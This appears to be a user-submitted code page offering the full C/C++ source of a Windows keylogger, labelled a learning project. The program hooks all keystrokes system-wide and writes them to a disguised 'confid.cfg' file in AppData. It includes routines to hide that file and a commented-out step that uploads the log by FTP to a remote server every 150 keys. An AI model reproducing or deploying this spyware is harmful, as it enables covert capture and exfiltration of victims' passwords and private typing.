Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  Just A Random home project for learning.
Language: C/C++
Code:
#pragma comment (lib,"wininet.lib")
#pragma warning(disable:4996)
#include <fstream>
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;

char * extractFilename(char * path) {
     char * ret = path;
     bool isFullPath = false;
     for (int i = 0; i < strlen(path); i++) {
          if (ret[i] == '\\') {
               isFullPath = true;
          }
     }
     if (isFullPath) {
          ret = (char *)((DWORD)path + lstrlen(path) - 1);
          while (*ret != '\\')
               ret--;
          ret++;
     }
     return ret;
}

FILE * f;
HHOOK hKeyboardHook;

/*Change file attributes to hidden*/
void hide_file(char * file)
{
     if (GetFileAttributes(file) != 0x22)
          SetFileAttributes(file, 0x22);
}

/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
     char desktop[260];
     if (SUCCEEDED(SHGetFolderPath(NULL,
          CSIDL_APPDATA | CSIDL_FLAG_CREATE,
          NULL,
          SHGFP_TYPE_CURRENT,
          desktop)))
     {
          strcpy(ret, desktop);
          return true;
     }
     else
     {
          ret = NULL;
          return false;
     }
}

//Multiple concatenation
char *dupcat(const char *s1, ...) {
     int len;
     char *p, *q, *sn;
     va_list ap;

     len = strlen(s1);
     va_start(ap, s1);
     while (1) {
          sn = va_arg(ap, char *);
          if (!sn)
               break;
          len += strlen(sn);
     }
     va_end(ap);

     p = new char[len + 1];
     strcpy(p, s1);
     q = p + strlen(p);

     va_start(ap, s1);
     while (1) {
          sn = va_arg(ap, char *);
          if (!sn)
               break;
          strcpy(q, sn);
          q += strlen(q);
     }
     va_end(ap);

     return p;
}//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder

  /*Upload file to server*/
BOOL uploadFile(char *filename, char *destination_name, char *address, char *username, char *password)
{
     BOOL t = false;
     HINTERNET hint, hftp;
     hint = InternetOpen("FTP", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_ASYNC);
     hftp = InternetConnect(hint, address, INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP, 0, 0);
     t = FtpPutFile(hftp, filename, destination_name, FTP_TRANSFER_TYPE_BINARY, 0);
     InternetCloseHandle(hftp);
     InternetCloseHandle(hint);
     return t;
}

static int keysPressed = 0; //Lets count the keys pressed

LRESULT WINAPI Keylogger(int nCode, WPARAM wParam, LPARAM lParam)
{
     char currentDirectory[260];
     char * workFullPath;


     if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
     {
          bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
          if (truth)
          {
               //Concatenate desktop directory and files
               workFullPath = dupcat(currentDirectory, "\\confid.cfg", NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
               f = fopen(workFullPath, "a+"); //Open the file
          }
          KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
          DWORD dwMsg = 1;
          dwMsg += hooked_key.scanCode << 16;
          dwMsg += hooked_key.flags << 24;
          char lpszKeyName[1024] = { 0 };
          lpszKeyName[0] = '[';

          int i = GetKeyNameText(dwMsg, (lpszKeyName + 1), 0xFF) + 1;
          int key = hooked_key.vkCode;
          lpszKeyName[i] = ']';
          //Key value or something else ?
                    //if the key if from A-Z,a-z,0-9 then add this to file
          if (key >= 'A' && key <= 'Z')
          {
               if (GetAsyncKeyState(VK_SHIFT) >= 0)
                    key += 0x20;
               if (f != NULL)
                    fprintf(f, "%c", key);
          }
          //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
          else
          {
               if (f != NULL)
                    fprintf(f, "%s", lpszKeyName);
          }
          keysPressed++;
          if (keysPressed == 150) //Enough data
          {
               //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
               //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp

               //uploadFile(workFullPath, extractFilename(workFullPath), "www.xyz.org", "ftpUsername", "ftpPassword"); //Upload the file to FTP


               keysPressed = 0;
          }

          //You can make the file hidden :))
          //hide_file(workFullPath);
          fclose(f);
     }
     return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

DWORD WINAPI JACKAL(LPVOID lpParm)
{
     HINSTANCE hins;
     hins = GetModuleHandle(NULL);
     hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)Keylogger, hins, 0);

     MSG message;
     while (GetMessage(&message, NULL, 0, 0))
     {
          TranslateMessage(&message);
          DispatchMessage(&message);
     }

     UnhookWindowsHookEx(hKeyboardHook);
     return 0;
}

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow){
          JACKAL(NULL);
     return 0;
}

//int main() {
//     JACKAL(NULL);
//     return 0;
//}
Comments: